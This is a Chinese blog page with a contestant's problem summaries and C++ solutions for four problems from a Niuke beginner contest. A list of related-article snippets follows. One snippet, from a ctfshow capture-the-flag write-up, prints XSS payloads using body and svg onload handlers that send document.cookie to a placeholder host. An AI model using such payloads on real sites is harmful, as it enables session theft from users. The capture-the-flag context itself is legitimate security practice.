牛客小白月赛104(未补)

A 小红购买装备

题意:给定n件装备,每种装备提供ai的攻击和bi的防御,价格为ci,小红已有t的金币和攻击x,防御为y的装备,卖给商店可以回收z金币,最大攻击+防御是多少

分析:枚举即可

代码:

#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
void sol(){
    ll n,x,y,z,t;cin>>n>>x>>y>>z>>t;
    ll ans=x+y;ll a,b,c;
    for(int i=1;i<=n;i++){
        cin>>a>>b>>c;
        if(a+b>ans&&c<=z+t){
            ans=max(ans,a+b);
        }
    }
    cout<<ans<<endl;
}
int main() {
    ios::sync_with_stdio(false);
    cin.tie(0),cout.tie(0);
    int t=1;
    while(t--)sol();
    return 0;
}
​

B 小红招募英雄

题意:给定1,2,3,4,5的概率,抽十次,求有4或5两次及以上的概率

分析:用1减去45只出现1次的情况,再减去45都没出现的情况

代码:

#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
void sol(){
    double a[10];
    for(int i=1;i<=5;i++)cin>>a[i];
    double p0=a[1]+a[2]+a[3],p1=a[4]+a[5];
    printf("%.10f\n",1-10*p1*(pow(p0,9))-pow(p0,10));
​
}
int main() {
    ios::sync_with_stdio(false);
    cin.tie(0),cout.tie(0);
    int t=1;
    while(t--)sol();
    return 0;
}
​

C 小红打怪

题意:给定n个怪物,每个回合:所有怪物减一;任选1只减一;对相邻怪物都减一

分析:用二分找出符合条件的最小次数。找符合条件的只要贪心找出每次施法即可。

代码:

#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
const int N=1e5+10;
ll a[N],b[N],ma=0,mi=1e9,sum,n;
ll f(ll x){
    for(int i=1;i<=n;i++)a[i]=b[i];
    for(int i=1;i<=n;i++){
        a[i]-=x;
        if(a[i]<0)a[i]=0;
    }
    ll x1=x,x2=x;
    for(int i=1;i<=n;i++){
        if(a[i+1]!=0&&a[i]!=0){
            if(a[i+1]>a[i]){
                if(x1-a[i]<0){
                    a[i+1]-=x1;a[i]-=x1;x1=0;
                    break;
                }else{
                    x1-=a[i];
                    a[i+1]-=a[i];a[i]=0;
                    if(x1==0)break;
                }
            }
            else{
                if(x1-a[i+1]<0){
                    a[i+1]-=x1;a[i]-=x1;x1=0;
                    break;
                }
                else{
                    x1-=a[i+1];
                    a[i]-=a[i+1];a[i+1]=0;
                    if(x1==0)break;
                }   
            }
        }
    }
    for(int i=1;i<=n;i++){
        if(a[i]>0){
            if(x2-a[i]<0){
                a[i]-=x2;
                x2=0;
            }
            else{
                x2-=a[i];a[i]=0;
            }
        }
    }
    ll k=0;
    for(int i=1;i<=n;i++){
        k+=a[i];
    }
    if(k==0)return 1;
    else{
        if(k<=x2+x1)return 1;
        else return 0;
    }
}
void sol(){
    cin>>n;
    for(int i=1;i<=n;i++)cin>>b[i];
    ll l=1,r=1e9;
    while(l<r){
        ll mid=(l+r)/2;
        if(f(mid)==1)r=mid;
        else l=mid+1;
    }
    cout<<l<<endl;
​
}
int main() {
    ios::sync_with_stdio(false);
    cin.tie(0),cout.tie(0);
    int t=1;
    while(t--)sol();
    return 0;
}
​

D 小红开锁

题意:给定n层锁,每次可以选择一层锁按顺时针移动一个格子,想让某个象限全是X,这个锁最少操作几次可以解开?

分析:用vector存入每一层的字符。共有四种情况,分别是第一二三四象限,判断连续X的最右边的位置,判断到每一个象限的距离,取四个象限的最小值

代码:

#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
const int N=1e5+10;
void sol(){
    int n;cin>>n;
    char a[300][300];
    ll k1=0,k2=0,k3=0,k4=0;
    vector<char>v[2*n];
    for(int i=1;i<=n*2;i++){
        for(int j=1;j<=n*2;j++){
            cin>>a[i][j];
        }
    }
    for(int i=1;i<=n*2;i++){//横 
        for(int j=i;j<=2*n-i+1;j++){
            v[i].push_back(a[i][j]);
        } 
    }
    for(int i=1;i<=2*n;i++){//右 
        for(int j=i+1;j<=2*n-i+1;j++){
            if(2*n-i+1<=2*n&&2*n-i+1>=1&&j<=2*n&&j>=1)v[i].push_back(a[j][2*n-i+1]);
        }
    }
    for(int i=1;i<=2*n;i++){//横 
        for(int j=i+1;j<=2*n-i+1;j++){
            if(2*n-i+1>=1&&2*n-j+1>=1&&2*n-i+1<=2*n&&2*n-j+1<=2*n)v[i].push_back(a[2*n-i+1][2*n-j+1]);
        }
    }
    for(int i=1;i<=2*n;i++){//左 
        for(int j=i+1;j<=2*n-i;j++){
            if(2*n-j+1>=1&&2*n-j+1<=2*n&&i>=1&&i<=2*n){
                v[i].push_back(a[2*n-j+1][i]);
            }
        }
    }
        for(int i=1;i<=n;i++){
            ll len=v[i].size();
            ll p=-1;
            int l=0;
            for(int j=0;j<len;j++){
                if(v[i][j]=='X'&&(p==-1||j-1==-1||(v[i][j-1]=='X'&&l==0))){
                    p=j;
                }
                if(v[i][j]=='X'&&v[i][j+1]=='O')l=1;
            } 
            if(len/4/2<p)k1+=len-p+len/4/2;
            else k1+=len/4/2-p;
            if(len/4/2+len/4<p)k2+=len-p+len/4/2+len/4;
            else k2+=len/4/2+len/4-p;
            if(len/4/2+len/4+len/4<p)k3+=len-p+len/4/2+len/4+len/4;
            else k3+=len/4/2+len/4+len/4-p;
            if(len/4/2+len/4+len/4+len/4<p)k4+=len-p+len/4/2+len/4+len/4+len/4;
            else k4+=len/4/2+len/4+len/4+len/4-p;
        }
    cout<<min(min(k1,k2),min(k3,k4))<<endl;
​
}
int main() {
    ios::sync_with_stdio(false);
    cin.tie(0),cout.tie(0);
    int t=1;
    while(t--)sol();
    return 0;
}
​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/911502.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python的函数

一、定义 函数的定义&#xff1a;实现【特定功能】的代码块。 形参&#xff1a;函数定义时的参数&#xff0c;没有实际意义 实参&#xff1a;函数调用/使用时的参数&#xff0c;有实际意义 函数的作用&#xff1a; 简化代码提高代码重用性便于维护和修改提高代码的可扩展性…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

MySQL server 免安装教程

1&#xff0c;下载免安装包-社区版本 https://dev.mysql.com/downloads/file/?id534320 2&#xff0c;解压 放到一电脑某个路径下&#xff0c;整个包 3&#xff0c;创建data 文件夹和my.ini文件 my.ini代码照抄&#xff0c;注意修改路径&#xff0c;与解压后的安装包地址一…

使用ookii-dialogs-wpf在WPF选择文件夹时能输入路径

在进行WPF开发时&#xff0c;System.Windows.Forms.FolderBrowserDialog的选择文件夹功能不支持输入路径&#xff1a; 希望能够获得下图所示的选择文件夹功能&#xff1a; 于是&#xff0c;通过NuGet中安装Ookii.Dialogs.Wpf包&#xff0c;并创建一个简单的工具类&#xff1a; …

Java项目实战II基于Spring Boot的便利店信息管理系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在快节奏的…

SpringBoot整合Liquibase对数据库管理和迁移

简介 Liquibase是一个用于用于跟踪、管理和应用数据库变化的开源工具&#xff0c;通过日志文件(changelog)的形式记录数据库的变更(changeset)&#xff0c;然后执行日志文件中的修改&#xff0c;将数据库更新或回滚(rollback)到一致的状态。它的目标是提供一种数据库类型无关的…

练习LabVIEW第四十三题

学习目标&#xff1a; 模拟红绿灯&#xff0c;红灯亮十秒&#xff0c;绿灯亮五秒&#xff0c;交替&#xff0c;并用波形图将波形显示 开始编写&#xff1a; 前面板 两个指示灯&#xff0c;一个红色&#xff0c;一个绿色&#xff0c;一个波形图&#xff1b; 程序框图 创建…

针对解决前后端BUG的个人笔记

1-IDEA Q&#xff1a;Required Java version 17 is not supported by SDK 1.8. The maximum supported Java version is 8. A: 我们只知道IDEA页面创建Spring项目&#xff0c;其实是访问spring initializr去创建项目。故我们可以通过阿里云国服去间接创建Spring项目。将https…

ElasticSearch 添加IK分词器

ElasticSearch 添加IK分词器 前言一、IK分词器的算法二、Ik分词器的下载安装&#xff08;Winows 版本&#xff09;三、Ik分词器的下载安装&#xff08;Linux 版本&#xff09;四、验证测试&#xff08;postman工具&#xff09;测试 ik_smart 分词算法测试 ik_max_word 分词算法…

Android关机流程知多少?

在 Android 中&#xff0c;关机流程涉及系统各个组件的协同工作&#xff0c;确保设备在断电之前能够安全地关闭所有活动并保存数据。以下是 Android 系统中关机流程的详细介绍&#xff1a; 1. 用户触发关机请求 关机流程由用户的操作触发&#xff0c;通常有以下几种方式&#…

Golang | Leetcode Golang题解之第542题01矩阵

题目&#xff1a; 题解&#xff1a; type point struct{x, y int }var dirs []point{{-1, 0}, {1, 0}, {0, -1}, {0, 1}}func updateMatrix(mat [][]int) [][]int {var m, n len(mat), len(mat[0])var res make([][]int, m)var visited make([][]bool, m)var queue []poin…

基于ssm的小区物业管理系统

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…

_处理匿名命名空间里的变量时进入硬件中断错误

最近在初次使用匿名空间时出现一个很离谱的错误&#xff0c;我先简单描述一下情形&#xff1a;在匿名命名空间里有一个变量&#xff08;全局&#xff09;&#xff0c;在命名空间外&#xff0c;有一个内联函数操作该空间内的变量。 如果开优化&#xff0c;那么程序就会进入硬件错…

esp32学习:利用虫洞ESP32开发板,快速实现无线图传

我们的虫洞开发板&#xff0c;能够完美运行esp who AI代码&#xff0c;所以实现无线图传那是非常容易的&#xff0c;我们先看看examples目录&#xff1a; 里面有比较多的web例程&#xff0c;在这些例程下&#xff0c;稍作修改&#xff0c;就可以快速实现我的图传无线功能&#…

芯片需要按一下keyup或者复位按键虚拟或者下载之后芯片能下载却运行不了或者需要额外供电。

这些问题很有可能是因为外围电路器件幅值与设计不同的存在&#xff0c;导致你需要外部供电才能实现一个正常运行&#xff0c;可以检查一下外围电路在供电区域的电流区&#xff0c;电阻幅值是否和原理图设计时看的一模一样或者直接更换 因为按键会失灵&#xff0c;首先检查复位按…

万字长文读懂RAG

目录 RAG的整体架构设计 一、概览 1-Overview 2-Indexing 3-Retrival 4-Generation 二、优化元素提问 5-Multi Query多查询策略 6-RAG-Fusion多查询结果融合策略 7-Decomposition问题分解策略 Answer recursively Answer individually 8-Step Back问答回退策略 9…

[全网最细数据结构完整版]第六篇:3分钟带你吃透栈并模拟实现

目录 1->栈的概念和结构 1.1栈的概念 1.2栈的结构 2->栈的实现 2.1定义关于栈的结构体和各种函数 2.2栈的初始化 STInit 函数 2.3栈的销毁 STDestroy 函数 2.4栈的插入操作 STPush 函数 2.5栈的判断是否为空操作 STEmpty 函数 2.6栈的删除操作 STPop 函数 2.7…

Uniapp底部导航栏设置(附带PS填充图标教程)

首先需要注册和登录ifconfont官网&#xff0c;然后创建项目添加需要的图标 创建和添加图标库请参考&#xff1a;Uniapp在Vue环境中引入iconfont图标库&#xff08;详细教程&#xff09; 打开iconfont官网&#xff0c;找到之前添加的图标库&#xff0c;下载png图片 如果需要的…

k8s图形化显示(KRM)

在master节点 kubectl get po -n kube-system 这个命令会列出 kube-system 命名空间中的所有 Pod 的状态和相关信息&#xff0c;比如名称、状态、重启次数等。 systemctl status kubelet #查看kubelet状态 yum install git #下载git命令 git clone https://gitee.com/duk…

FTP替代方案:FileLink内外网文件摆渡,助力企业安全高效文件传输

FTP&#xff08;文件传输协议&#xff09;一直是企业进行文件传输的标准解决方案。但随着网络安全威胁的不断增加和企业对于文件传输效率和安全性的更高要求&#xff0c;FTP逐渐显得力不从心。那么&#xff0c;如何安全、便捷地传输大文件和敏感数据呢&#xff1f;FileLink作为…